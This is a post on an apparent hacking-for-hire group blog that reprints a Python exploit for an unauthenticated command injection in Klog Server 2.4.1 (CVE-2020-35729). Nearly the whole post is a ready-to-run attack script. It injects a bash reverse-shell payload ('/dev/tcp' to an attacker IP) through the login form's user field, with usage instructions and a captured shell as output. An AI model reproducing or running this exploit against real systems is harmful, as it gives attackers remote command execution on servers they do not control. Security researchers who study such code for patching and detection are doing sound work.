Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86379956

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Klog Server 2.4.1 - Command Injection (Unauthenticated)
# Date: 22.12.2020
# Exploit Author: b3kc4t (Mustafa GUNDOGDU)
# Vendor Homepage: https://www.klogserver.com/
# Version: 2.4.1
# Tested On: Ubuntu 18.04
# CVE: 2020-35729
# Description: https://github.com/mustgundogdu/Research/tree/main/KLOG_SERVER

"""
         ~ VULNERABILITY DETAILS ~
    
    #
    The Klog Server runs the injected os commands on the server , causing os command
    injection vulnerability.    
    
    #
    The following python code will inject os command payload and can be relaized reverse
    shell connection.And you can be added payload except the default payload plugin.

    ##USAGE##

    $sudo nc -nlvp 98
    $sudo python klog_exploit.py --exploit --url https://10.10.56.51:443/actions/authenticate.php --payload "test\"$bash -i >& /dev/tcp/10.10.56.52/98 0>&1&\""

    ##OUTPUT##

    bash-4.2$whoami
    apache
    bash-4.2$

"""

import requests
import argparse
from colorama import Fore, Back, Style, init


def main():
    
    desc = "KLOG SERVER 2.4.1 EXPLOIT"
    parser = argparse.ArgumentParser(description=desc)
    option = parser.add_argument_group('[*]OPTIONS[*]')
    parser.add_argument("--url", help=Fore.GREEN+"[*]TARGET URL ADDRESS[*]", required=False)
    parser.add_argument("--payload",help=Fore.GREEN+"[*] TO ADD PAYLOAD  [*]", type=str,required=False)
    parser.add_argument("--exploit", help=Fore.GREEN+" ", action="store_true")
    args = parser.parse_args()
    
    if args.exploit:

        if args.url:
            url = args.url
            
            if args.payload:
                payload = args.payload
                target_send_config(url, payload)
            
            #default bash reverse shell payload
            else:
                payload = "test\"&bash -i >& /dev/tcp/10.10.56.52/88 0>&1&\""
                target_send_config(url, payload)

        else:
            #default url (klog server init ip address)
            url = "https://10.10.56.51:443/actions/authenticate.php"
            
            if args.payload:
                payload = args.payload
                target_send_config(url, payload)
            else: 
                payload = "test\"&bash -i >& /dev/tcp/10.10.56.52/88 0>&1&\""
                target_send_config(url, payload)


def target_send_config(url, payload):
        
    headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0", 
                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", 
                "Accept-Language": "en-US,en;q=0.5", 
                "Accept-Encoding": "gzip, deflate", 
                "Content-Type": "application/x-www-form-urlencoded", 
                "Connection": "close", 
                "Upgrade-Insecure-Requests": "1"}
    #injection place
    data = {"user": payload, 
            "pswd": "test"}
    
    try:
    #post method send    
        requests.post(url, headers=headers, data=data, verify=False)
        print(" ")
        print(Fore.GREEN+" "+"[+] EXPLOIT SUCCESSFUL PAYLOAD IS SENT [+]")
    except:
        print(Fore.RED+"[-] EXPLOIT FAILED [-]")

if __name__ == '__main__':
    main()